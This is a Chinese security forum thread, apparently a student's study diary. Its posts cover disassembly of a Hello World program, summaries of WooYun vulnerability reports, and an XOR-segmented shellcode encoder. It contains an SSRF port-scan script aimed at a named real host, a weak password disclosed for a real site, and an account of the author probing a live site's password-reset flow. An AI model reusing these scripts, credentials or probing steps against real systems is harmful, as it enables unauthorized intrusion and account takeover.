安全矩阵

 找回密码
 立即注册
搜索
楼主: Xor0ne

罗娇燕的学习日记

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-3-1 23:25:42 | 显示全部楼层
C语言汇编--Hello  World程序

转载代码:https://blog.csdn.net/tangyanzhi1111/article/details/8931611

参考链接:[VC++6.0反汇编代码](https://blog.csdn.net/chengjiaojiao1991/article/details/41243549)

今天写一个最初带我进入C语言的一个代码吧--Hello World代码。
  1. #include "stdafx.h"



  2. int main(int argc, char* argv[])

  3. {

  4.         printf("Hello World!\n");



  5.         return 0;

  6. }
复制代码


如上,这个程序很简单,但是对于他其中蕴含的汇编代码却很少被关注到了。接下来让我们一起去看一下这个程序的反汇编吧!
>//几个寄存器的含义
ebp:基址指针 esp:堆栈指针
eax:累加器 ebx:基址寄存器
ecx:计数寄存器 edx:数据寄存器
esi:源变址寄存器 edi:目的变址寄存器
eip:指令指针
>_chkesp:用于检测堆栈平衡的函数,如果esp不等于函数调用前保存的值,就会转到错误处理代码。
int3:留给调试工具使用的中断,调试工具运行后会替换int3的向量。


参见:[绕过 __chkesp()函数](https://blog.csdn.net/lixiangmin ... View2/5/w/120/h/120)

首先,先来解释几个简单的语句吧。

  1. <p>```c</p><p>push ebp</p><p>mov ebp, esp</p><p>```</p><p></p>
复制代码
push:把一个32位操作数压入栈中,执行完后,栈顶指针esp减4,ebp用来保存push执行后esp的值,执行完毕后,用ebp回复esp。同时,调用此函数上层函数也用ebp做同样的事情,先push入栈,返回之前弹出,避免ebp被我们改动。

  1. <p>```c</p><p>xor eax, eax</p><p>ret</p><p>```</p>
复制代码

xor eax,eax常用来代替mov eax,0。清零操作。在windows中,函数返回值都是放在eax中然后返回,外部从eax中得到返回值。这就代表return 0操作。

  1. <p>```c</p><p>lea edi, [ebp-40h]</p><p>```</p>
复制代码

lea取得第二个参数代表的地址放入第一个参数代表的寄存器中。

  1. <p>```c</p><p>mov ecx, 10h</p><p>mov eax, 0CCCCCCCh</p><p>rep stos dword ptr es:[edi]</p><p>```</p><p></p>
复制代码

stos是串存储指令,它的功能是将eax中的数据放入  [edi]  所指的地址中,同时 [edi]  会增加4个字节。Rep使指令重复执行ecx中填写的次数。

由于CPU的寄存器有限,而且操作寄存器会影响标志值,push作用是压栈,pop是退栈。即保存寄存器标志的值和寄存器本身的值,以便在函数调用完毕后恢复原有的标志值。这也是为什么我们见到在调用某个函数或者运行一个程序时,入口总是push一堆寄存器的东东,返回函数再 pop 一堆寄存器,也就是这个原因。


如下,反汇编。
  1. <p>```cpp</p><p>6:    int main(int argc, char* argv[])</p><p>7:    {</p><p>0040D6F0 55                   push        ebp</p><p>>>保存esp,返回之前弹出,避免ebp被我们改动,push操作使esp减小,esb不变</p><p>0040D6F1 8B EC                mov         ebp,esp</p><p>>>用来保存函数执行前的esp的值,执行完毕后,用ebp恢复esp,原ebp值已经被压栈(位于栈顶),而新的ebp又恰恰指向栈顶。此时ebp寄存器就已经处于一个非常重要的地位,该寄存器中存储着栈中的一个地址(原ebp入栈后的栈顶),从该地址为基准,向上(栈底方向)能获取返回地址、参数值(假如main中有参数,“获取参数值“会比较容易理解);向下(栈顶方向)能获取函数局部变量值,而该地址又存储着上一层函数调用时ebp的值</p><p>0040D6F3 83 EC 40             sub         esp,40h</p><p>>>把esp向上移动一个范围,等于在栈中开辟一片空间存储main函数的局部变量;由于冯诺依曼机是小端模式,所以sub操作可以理解为将esp栈顶减去,实际上是为栈增加空间</p><p>0040D6F6 53                   push        ebx</p><p>0040D6F7 56                   push        esi</p><p>0040D6F8 57                   push        edi</p><p>>>保存三个寄存器的值,待main结束恢复,原来的值被破坏有可能引起系统崩溃</p><p>0040D6F9 8D 7D C0             lea         edi,[ebp-40h]</p><p>>>把ebp-040h加载到edi中,目的是保存局部变量的区域</p><p>0040D6FC B9 10 00 00 00       mov         ecx,10h</p><p>0040D701 B8 CC CC CC CC       mov         eax,0CCCCCCCCh</p><p>0040D706 F3 AB                rep stos    dword ptr [edi]</p><p>>>从ebp-040h开始的局部变量空间区域加载初始化全部变成0CCCCCCCCh(也就是int 3中断指令的机器码);局部变量不可能被执行,执行了就会出错,这样发生意外时执行堆栈里面的内容会引发调试中断提示开发者return 0</p><p>
  2. </p><p>8:        printf("Hello World!\n");</p><p>0040D708 68 1C 20 42 00       push        offset string "%d" (0042201c)</p><p>0040D70D E8 4E 39 FF FF       call        printf (00401060)</p><p>0040D712 83 C4 04             add         esp,4</p><p>9:</p><p>10:       return 0;</p><p>0040D715 33 C0                xor         eax,eax</p><p>>>返回值将放在eax返回(因为eax是可以更改的,所以这就是很多如阿健给藐视报批的原因)</p><p>11:   }</p><p>0040D717 5F                   pop         edi</p><p>0040D718 5E                   pop         esi</p><p>0040D719 5B                   pop         ebx</p><p>>>恢复原来寄存器的值,怎么push进去的,倒序pop出来</p><p>0040D71A 83 C4 40             add         esp,40h</p><p>>>将esp回到程序开始执行mov ebp, esp时的状态,相当于销毁函数最开始分配的用于保存局部变量的栈空间</p><p>0040D71D 3B EC                cmp         ebp,esp</p><p>>>比较ebp和esp的值,确定是否相等</p><p>0040D71F E8 BC 39 FF FF       call        __chkesp (004010e0)</p><p>>>调用__chkesp()函数,检查esp与函数之前实现开始时状态是否一致</p><p>0040D724 8B E5                mov         esp,ebp</p><p>>>由于调用__chkesp()函数后,esp的值发生了变化,因此需要mov恢复esp栈顶指针</p><p>0040D726 5D                   pop         ebp</p><p>>>恢复ebp,也就是恢复调用函数之前各个寄存器的状态</p><p>0040D727 C3                   ret</p><p>>>将返回地址存入eip,退出主函数</p><p>
  3. </p><p>```</p>
复制代码



回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-3-1 23:29:11 | 显示全部楼层
wooyun总结03

### 1、成功的入侵事件
>缺陷编号:wooyun-2016-0228047
漏洞标题:一次对链路劫持的反击

####  漏洞简述:
>简要描述:
起因是几个月前访问乌云和http网站时候网页播放蜜汁声音.当时还是dns劫持比较明显直接改dns就行,最近发现升级成为了链路劫持了,只能拔vpn过日子了。

DNS劫持:一般指域名劫持,通过攻击域名解析服务器DNS,或伪造域名解析服务器的方法,把目标网站域名解析到的错误的地址从而实现用户无法访问目标网站的目的。
具体的可以参考:[针对某电商网站流量劫持案例分析与思考](https://www.freebuf.com/vuls/62561.html)

###  2、SQL注入漏洞
>缺陷编号:wooyun-2016-0228222
漏洞标题:兴ye银行某站存在SQL注入![在这里插入图片描述]()

然后大佬在利用sqlmap对这个网站进行扫面,发现了数据库相关信息。

### 3、后台弱口令
>缺陷编号:wooyun-2016-0227552
漏洞标题:华夏航空准备网弱口令

账号与口令:test 123456

修复方法:修改

### 4、命令执行--Struts2
>缺陷编号:wooyun-2016-0227945
漏洞标题:神器而已之当当某站Struts2命令执行漏洞(绕过过滤)

所使用的工具:TangScan
####  漏洞案例简述
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

抓包发现返回地网页是由提交的变量  name+...重定向构成的,因此构造 name后面的造成重定向发生错误,执行我们指定的命令后,产生特定的信息。

###  5、设计缺陷/逻辑错误
>缺陷编号:wooyun-2016-0227661
漏洞标题:宏信证券某处设计缺陷

#### 漏洞案例简述
![在这里插入图片描述]()
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


**总结:**  溜达这个网址时候这个网站上已经啥也没有了(如下图,为网站显示的内容),百度了一下才发现网站似乎是搬了,域名换了。
![在这里插入图片描述]()

**总结:** 这个网站的注册功能尝试了一下,需要输入身份证信息,but可以任意输入身份证,,手机号注册时没有屏蔽任何号码,随意注册,竟然连12345678901都可以发生验证码。(关于厂商说的漏洞已修复我觉得很值得商榷一番。)

###  6、命令执行
>缺陷编号:wooyun-2016-0227883
进攻标题:优ku 多个分站存在SSRF突破大礼包

####  漏洞案例简述
![在这里插入图片描述]()
可以发现大牛获取内网端口、ip等其他信息后, 构造了一个exp利用此网站对内网进行访问。
如下,是构造的对内网端口进行扫描的python脚本。
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: Lcy
# @Date:   2016-07-05 20:55:30
# @Last Modified by:   Lcy
# @Last Modified time: 2016-07-11 09:28:01
import requests
import threading
import Queue
import time
threads_count = 1
que = Queue.Queue()
lock = threading.Lock()
threads = []
ports = [21,22,23,25,69,80,81,82,83,84,110,389,389,443,445,488,512,513,514,873,901,1043,1080,1099,1090,1158,1352,1433,1434,1521,2049,2100,2181,2601,2604,3128,3306,3307,3389,4440,4444,4445,4848,5000,5280,5432,5500,5632,5900,5901,5902,5903,5984,6000,6033,6082,6379,6666,7001,7001,7002,7070,7101,7676,7777,7899,7988,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8098,8099,8980,8990,8443,8686,8787,8880,8888,9000,9001,9043,9045,9060,9080,9081,9088,9088,9090,9091,9100,9200,9300,9443,9871,9999,10000,10068,10086,11211,20000,22022,22222,27017,28017,50060,50070]
for i in ports:
    que.put(str(i))
def run():
    while que.qsize() > 0:
        p = que.get()
        try:
            url = "http://bbs.yj.youku.com/forum.php?mod=ajax&action=downremoteimg&message=".format(
                port=p)
            time.sleep(0.3)
            r = requests.get(url,timeout=1.8)
        except:
            lock.acquire()
            print "{port}  Open".format(port=p)
            lock.release()
for i in range(threads_count):
    t = threading.Thread(target=run)
    threads.append(t)
    t.setDaemon(True)
    t.start()
while que.qsize() > 0:
    time.sleep(1.0)

```

### 7、设计错误/逻辑错误--平行权限/水平越权
>缺陷编号:wooyun-2016-0227432
漏洞标题:花礼网某处平行权限漏洞(影响所有使用用户)

大佬注册了A、B两个用户,B为恶意用户,让A、B同时购买一个商品,当B生成订单再取消时,进行拦包,将B的id改为A的id,执行,取消的是A的账单而B的并没有被取消。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


### 8、任意文件遍历/下载
>缺陷编号:wooyun-2016-0227704
漏洞标题:当当网某站点SSRF可以遍历本地文件

![在这里插入图片描述]()URL的构造如下:
![在这里插入图片描述]()


修复方案:限制协议和target



回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-3-4 00:20:03 | 显示全部楼层
wooyun总结04


###  1、命令执行--2375端口
>缺陷编号:wooyun-2016-0227499
漏洞标题:DaoCloud某处弱口令(疑似测试环境)+docker remote API未授权访问

参考链接:
Docker 2375入侵服务器:http://www.dockerinfo.net/1416.html

2375是docker远程重定向的替换端口,通过此端口可以直接对远程的docker daemon进行操作。

###  2、SQL注入进攻
>缺陷编号:wooyun-2016-0227079
进攻标题:天天果园某分站存在SQL注入

SQL注入攻击:通过SQL命令插入到web表单递交、输入域名、页面请求的查询字符,最终达到欺骗服务器执行恶意代码的SQL命令。
参考链接:[SQL注入攻击](https://www.cnblogs.com/wang-sai-sai/p/10234568.html)
(本文阐述了SQL注入攻击的原理、原因、简单示例、总体思路以及注入漏洞的判断。)

###  3、网络未授权访问
>缺陷编号:wooyun-2016-0226920
漏洞标题:某发电机云控平台未授权访问

参考链接:
[redis未授权访问漏洞环境搭建与实战:](https://blog.csdn.net/wst0717/article/details/81879895)


###  4、系统/服务补丁不及时
>缺陷编号:wooyun-2016-0226867
漏洞标题:国家电网存缺陷漏洞打包可shell

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
###  5、后台弱口令
>缺陷编号:wooyun-2016-0226820
漏洞标题:中石化某系统弱口令至Getshell

大佬通过后台弱口令登陆管理界面,在管理页面中存在多处文件上传,然后上传木马,getshell,内网渗透。
修复方案:修改弱口令

参考链接:[【骚姿势】从后台弱口令到内网漫游](https://bbs.ichunqiu.com/forum.p ... id=27270&page=1)

###  6、XSS跨站脚本攻击
>缺陷编号:wooyun-2016-0226807
漏洞标题:启维主站存在xss




回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-3-4 13:00:15 | 显示全部楼层
shellcode分段执行


**最后,写完了,开始吃饭,哈哈。自知能力不住,哈哈,所以请您担待着看吧,如果有哪里表达的不是很清楚,欢迎留言一起探讨哦!**

###  0、综述
我是将一个弹出messagebox的代码为例子,制成shellcode。
然后再分成三段分别根据不同的xor进行加密,然后在边解密边执行。

如下图,整个encode总的分为两部分,第一部分是decode解密子,第二部分是shellcode,但是由于执行的时候需要解密,因此需要在每一段加密后的shellcode代码前面加上  jmp 进行地址跳转,在末尾加上 0x90 是作为加密时的结束符号。

首先,将encode的首地址赋值给eax,这样每次跳转语句固定为: jmp eax;
利用ecx来跟踪加密代码的执行轨迹,edi 作为每次解密时的偏移量。可见【ecx+edi】控制解密时的内存单元位置。

**PS:一定要注意decode中的堆栈平衡,否则容易影响到decode的执行。**
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

###  1、代码示例
弹出messagebox,这个代码直接执行将会报错,这个是考虑到了执行完shellcode需要返回主程序,因为我在末尾加了 ret 指令,如果直接运行的话,ret跳转到不知名的地方,因而报错。**PS:在这里,我用edx保存函数的eip,ret返回时将会跳转到 edx 指定的值,**
  1. ```c
  2. // test0304_xor.cpp : Defines the entry point for the console application.
  3. //

  4. #include "stdafx.h"
  5. #include "string.h"
  6. #include "stdlib.h"
  7. #include "windows.h"

  8. char key1 = 0x51;
  9. char key2 = 0x63;
  10. char key3 = 0x78;

  11. int main(int argc, char* argv[])
  12. {
  13.         printf("Hello World!\n");
  14.         LoadLibraryA("user32.dll");
  15.         HMODULE hmd=GetModuleHandleW(L"user32.dll");
  16.         ULONG addr=(ULONG)GetProcAddress(hmd,"MessageBoxA");

  17.         char* a = "test shellcode";
  18.         char* b = "test";

  19.         _asm
  20.         {
  21.         add edx, 2
  22.         push edx  //edx入栈的值是ret返回程序后将要进行的地址,即return 0的地址。
  23.         push 0
  24.         push a
  25.         push b
  26.         push 0
  27.         mov eax, addr
  28.         call eax
  29.         ret

  30.         }
  31.         return 0;
  32. }

  33. ```
复制代码

**shellcdoe执行版:**
根据上面的程序,我们知道,在执行时我们应该给定一个edx(即将return 0的地址赋值给edx),便于messagebox程序中的ret跳转。
我们用如下语句,获取当前的eip,然后在messagebox中利用add edx, 2,使得edx的值为 return 0的地址。

  1. ```bash
  2.                 call next
  3. next:        pop edx
  4. ```
复制代码

**shellcode执行:**


  1. ```c
  2. int main(int argc, char* argv[])
  3. {
  4.         printf("Hello World!\n");
  5.         LoadLibraryA("user32.dll");
  6.         HMODULE hmd=GetModuleHandleW(L"user32.dll");
  7.         ULONG addr=(ULONG)GetProcAddress(hmd,"MessageBoxA");

  8.         char* a = "test shellcode";
  9.         char* b = "test";

  10.         char shellcode[] = "\x83\xC2\x02\x52\x6A\x00\xFF\x75\xF4\xFF\x75\xF0\x6A\x00\x8B\x45\xF8\xFF\xD0\xC3";

  11.         _asm
  12.         {
  13.                 lea eax, shellcode
  14.                 push eax
  15.                 call next
  16. next:        pop edx  //获取当前eip
  17.                 ret
  18.         }
  19.         return 0;
  20. }
  21. ```
复制代码

### 2、shellcode加密

如分别改变key的值,进行加密。
  1. ```c
  2.         int length = sizeof(shellcode)/sizeof(shellcode[0]);
  3.         for(int i=0;i<length-1;i++)
  4.         {
  5.                 encode<i> = shellcode<i>^key3;
  6.         }
  7. ```</i></i>
复制代码

将加密后的shellcode分成三段。,如图,在每一个加密后的代码中分别取一段
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


###  3、构造代码段
![在这里插入图片描述]()
如上图,代码段组成为:

**跳转语句 +  加密的shellcode + 加密的\x90(解密判断符)**

**(1)、跳转语句**
在每个encode前面加上跳转语句:

  1. ```c
  2. 解密子跳转:
  3. 31:           mov bh, 0x51//0x51是key1的值,不同的代码段,是不一样的。
  4. 0040D809 B7 51                mov         bh,51h
  5. 32:           jmp eax
  6. 0040D80B FF E0                jmp         eax
  7. ```
复制代码

**(2)、\x90末尾截止**
在每个encode后面加上 \x90(解密后的) 作为终止符号。

如下,为构造好的代码段。

  1. ```c
  2.         char encode_1="\xB7\x51\xFF\xE0\xD2\x93\x53\x03\x3B\x51\xC1";
  3.         char encode_2="\xB7\x63\xFF\xE0\x9C\x16\x97\x9C\x16\x93\x09\x63\xF3";
  4.         char encode_3="\xB7\x78\xFF\xE0\xF3\x3D\x80\x87\xA8\xBB\xE8";
  5. ```
复制代码


### 4、生成解密子
![在这里插入图片描述]()

如上图,我们是由jmp跳转带解码子部分(即绿色区域),,因此解密时需要跳过jmp部分(我的jmp跳转语句没有加密,因此解密时需要跳过,如果加密了的话,就不需要跳过了)。
jmp语句长度为4,一昵称我们将 ecx+4 后在进行解密。此时ecx为encode1的首地址.

  1. ```c
  2.                 add ecx, 4  //跳过jmp语句
  3.                 push ecx        //ecx入栈,让ret跳转到encode1处开始执行
  4. ```
复制代码

当我们cmp判断解密后的元素,等于0x90时,利用add将ecx与edi相加,此时ecx便是下一段encode2的首地址了。
ret跳转到之前压入的ecx指向的地址,即上一段encode1的首地址,即接下来开始执行encode1。

  1. ```c
  2. execute:add ecx,edi  //下一段encode2的首地址
  3.                 ret //ret跳转到之前压入的ecx指向的地址,即跳转到encode1处开始执行
  4. ```
复制代码

**解密子代码:**

`
  1. ``bash
  2.                 add ecx, 4  //跳过jmp语句
  3.                 push ecx        //ecx入栈,让ret跳转到encode1处开始执行
  4.                 xor edi, edi //edi作为偏移量
  5. decode:        mov bl, [ecx+edi]
  6.                 xor bl, bh        //xor解密,bh是密钥
  7.                 mov [ecx+edi], bl
  8.                 inc edi
  9.                 cmp bl,0x90  //判断代码段是否全部解密完成
  10.                 je execute
  11.                 jmp decode

  12. execute:add ecx,edi  //下一段encode2的首地址
  13.                 ret //ret跳转到之前压入的ecx指向的地址,即跳转到encode1处开始执行
  14. ```
复制代码

转变成16机制为:(末尾加上了\x90便于调试,长度为26)
  1. char encode[] = "\x83\xC1\x04\x51\x33\xFF\x8A\x1C\x39\x32\xDF\x88\x1C\x39\x47\x80\xFB\x90\x74\x02\xEB\xF0\x03\xCF\xC3\x90";
复制代码


### 5、encode拼接
相对来说这个就很简单,直接将上面的解码子decode和构造好的encode(123)进行拼接即可。
**解码子 + encode1 + encode2 + encode3**

  1. ```c
  2.         char encode[] = "\x83\xC1\x04\x51\x33\xFF\x8A\x1C\x39\x32\xDF\x88\x1C\x39\x47\x80\xFB\x90\x74\x02\xEB\xF0\x03\xCF\xC3\x90" //解码子
  3.         "\xB7\x51\xFF\xE0\xD2\x93\x53\x03\x3B\x51\xC1" //encode1
  4.         "\xB7\x63\xFF\xE0\x9C\x16\x97\x9C\x16\x93\x09\x63\xF3" //encode2
  5.         "\xB7\x78\xFF\xE0\xF3\x3D\x80\x87\xA8\xBB\xE8"; //encode3
  6.         
  7. ```
复制代码


###  6、encode的调用

  1. ```bash
  2.         _asm
  3.         {
  4.                 lea eax, encode  //eax保存encode的首地址,即解码子的地址
  5.                 mov ecx, eax  //ecx控制代码执行的位置
  6.                 add ecx, 0x1A  //首先跳转到第一段encode处,执行jmp语句,然后解密
  7.                 push ecx
  8.                 call next
  9. next:        pop edx
  10.                 ret
  11.         }
  12. ```
复制代码


###  7、附上代码啦:

  1. ```c
  2. // test0304_xor.cpp : Defines the entry point for the console application.
  3. //

  4. #include "stdafx.h"
  5. #include "string.h"
  6. #include "stdlib.h"
  7. #include "windows.h"

  8. char key1 = 0x51;
  9. char key2 = 0x63;
  10. char key3 = 0x78;

  11. int main(int argc, char* argv[])
  12. {
  13.         printf("Hello World!\n");
  14.         LoadLibraryA("user32.dll");
  15.         HMODULE hmd=GetModuleHandleW(L"user32.dll");
  16.         ULONG addr=(ULONG)GetProcAddress(hmd,"MessageBoxA");

  17.         char* a = "test shellcode";
  18.         char* b = "test";
  19.         
  20.         
  21.         char encode[] = "\x83\xC1\x04\x51\x33\xFF\x8A\x1C\x39\x32\xDF\x88\x1C\x39\x47\x80\xFB\x90\x74\x02\xEB\xF0\x03\xCF\xC3\x90\xB7\x51\xFF\xE0\xD2\x93\x53\x03\x3B\x51\xC1\xB7\x63\xFF\xE0\x9C\x16\x97\x9C\x16\x93\x09\x63\xF3\xB7\x78\xFF\xE0\xF3\x3D\x80\x87\xA8\xBB\xE8";
  22.         /*生成的shellcode*/
  23.         //char shellcode[] = "\x83\xC2\x02\x52\x6A\x00\xFF\x75\xF4\xFF\x75\xF0\x6A\x00\x8B\x45\xF8\xFF\xD0\xC3";
  24.         
  25.         /*构造好的加密代码段*/
  26.         //char encode_1="\xB7\x51\xFF\xE0\xD2\x93\x53\x03\x3B\x51\xC1";
  27.         //char encode_2="\xB7\x63\xFF\xE0\x9C\x16\x97\x9C\x16\x93\x09\x63\xF3";
  28.         //char encode_3="\xB7\x78\xFF\xE0\xF3\x3D\x80\x87\xA8\xBB\xE8";
  29.         
  30.         /*解码子:*/
  31.         //char encode[] = "\x83\xC1\x04\x51\x33\xFF\x8A\x1C\x39\x32\xDF\x88\x1C\x39\x47\x80\xFB\x90\x74\x02\xEB\xF0\x03\xCF\xC3\x90";
  32.         
  33.         /*开始执行:*/
  34.         _asm
  35.         {
  36.                 lea eax, encode
  37.                 mov ecx, eax
  38.                 add ecx, 0x1A
  39.                 push ecx
  40.                 call next
  41. next:        pop edx
  42.                 ret
  43.         }
  44.         return 0;
  45. }
复制代码


```






回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-3-4 19:17:17 | 显示全部楼层
wooyun总结05


总结:1905啊,你可长点心吧!

###  1、未授权访问/权限绕过
>缺陷编号:wooyun-2016-0226294
漏洞标题:pai鞋网某功能存在未授权访问漏洞

这个漏洞是大牛在抓包的时候发现的,他同时注册了两个账号A和B,然后在同一个页面抓包提交,发现下面的参数很类似,然后在A的页面中将参数修改为B,发现页面姓名变成了B,(似乎有点像水平越权),大牛发现第一个是姓名,便猜测后面的可能是地址电话等信息,可能存在泄露。(但是,厂商说那只是个姓名,说这类似于在自己的文本编辑器修改自己的东西,无影响???额,,,)
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


###  2、SQL注射漏洞
>缺陷编号:wooyun-2016-0226572
漏洞标题:wen州大学某站sql注入(113库)

网站链接为:(放心,此网站已经被关了,没choice了)
http://jpkc.wzu.edu.cn/xhyxt/col_tsjx/detail.aspx?tid=25&ID=751
大佬是通过sqlmap扫描发现存在漏洞的。

###  3、设计缺陷/逻辑错误--负数订单
>缺陷编号:wooyun-2016-0226613
漏洞标题:M19o5价值2588套餐只要5毛钱(拥有后台权限可自己审核订单)

这个是一个可以买东西的网站,大牛进入网站后台后,购买东西,提交订单,在提交时抓包将物品数量改成了负数,然后提交成功了,,价格变成了 0.5 元,并且这个后台也有订单审核功能,也即是说可以认为将订单改为正常,然后就购买成功了。
![在这里插入图片描述]()

![在这里插入图片描述]()


修复建议:数据全部只经过用户是不可靠的

###  4、成功的入侵事件--我的第一个洞
>缺陷编号:wooyun-2016-0226583
漏洞标题:不小心闯进19o5某站hou台/我发誓真的是不小心

![在这里插入图片描述]()

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

如图,大佬在找回密码的地方将自己的用户名随意改为了test,然后发送手机验证码,填入新的密码,,,最后 test 的用户密码竟然被修改了,,,神奇,以下是大佬陈述的原因:
![在这里插入图片描述]()
然后,test竟然是管理员的账号,,扫描出后台管理员登陆界面之后,用 test 和新修改的密码进行登录发现竟然进入了后台。

我的第一个bug

这是今天第二次看见这个网站的漏洞了,出于好奇,我去这个网站溜达了一圈,发现密码找回页面莫名的相似。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
短信验证码,,之前听老师说过这个很有可能会存在bug。所以我点击获取验证码后抓包。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


如图,我们发现了参数mobile=手机号,将手机号改为我们可以收到短信的号码158XXXX,然后forward继续。接下来我们制定的手机号码158XXXX将会收到网站发的验证码信息。
输入158XXXX上收到的验证码,OK,成功,接下来如下,就可以设置新密码了。
PS:此时不知为何,报10002错误???,如下。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
百度了一下10002错误的可能有:
>    1、登录名或密码输入时未区分大小写,请注意"Caps Lock"键的开启或关闭状态;      
>    2、登录名输入错误,使用邮箱注册的用户请注意邮箱后缀是否填写正确,如果忘记登录名,可访问这里http://t。
  cn/zj5LLzP进行找回。      
3、输入法有可能会导致密码输入不正确;     
   4、密码中含有数字,需要使用小键盘时请确认小键盘是开启状态;      


之后,可能是由于我试了太多次了,网页显示太频繁了,接下来,我就不尝试了。但是可以肯定的是,这个地方一定存在漏洞。

总结:本想着这么多洞的平台,(还不打补丁),应该分外小心才对,去补天SRC上面一瞅,竟然发现了这娃???(你是喜欢上被爆洞的感觉么?)

### 5、应用配置错误
>缺陷编号:wooyun-2016-0223761
漏洞标题:kou袋老师主后台可爆破涉及200w学生与4000w题库
相关厂商:ygtoo.com

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

大佬通过爆破(密码又是123456),找到了一个用户,然后登陆用户后,发现也可以观察到其他用户的敏感信息。

再去搜索时,发现这个网站已经不在了,原来的 ip 也似乎已经是别人的了,如下,为开始界面。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


修复方案:改密码

### 6、敏感信息泄露
>缺陷编号:wooyun-2016-0226410
漏洞标题:ding丁租房某邮箱泄露导致600+人信息泄露

![在这里插入图片描述]()


修复方案:改密码

###  7、敏感信息泄露
>缺陷编号:wooyun-2016-0226240
漏洞标题:hui商银行某内部员工邮箱外泄/涉及部分敏感信息

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


试着用上面的账号去这个网站上溜达,个人觉得 ” 忘记密码 “ 处问题挺大的,这个账号依旧有用,密码没用,但是密保问题是:生日!!!也就是说如果有这个人的信息,将有可能信息修改。
以上是通过邮箱登陆,如果改为通过手机号登陆,那么更为简单,如下,如果知道手机号码的话,那么,,,嗯哼,你懂的。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

###  8、设计缺陷/逻辑错误
>缺陷编号:wooyun-2016-0225958
漏洞标题:M1905电影网某重要站点任意密码重置漏洞(已入官方账号)

找回密码步骤如下:
填写用户名-->验证身份-->设置新密码-->完成


大佬用自己的账号执行到 ” 完成 “ 界面时(含有提交按钮),退回到填写用户名处,将用户名改掉,,然后继续执行(此时执行将会风雨无阻),然后在”完成界面“ 点击提交,用户名修改成功。

额,总结一下,这是今天遇见的这个网站的第3个漏洞了,找回密码处,额,看来是没救了。**唉,海燕啊,你可长点心吧!**

下面来个1905自我介绍啊,长知识了。



###  9、文件上传导致任意代码执行
>缺陷编号:wooyun-2016-0225906
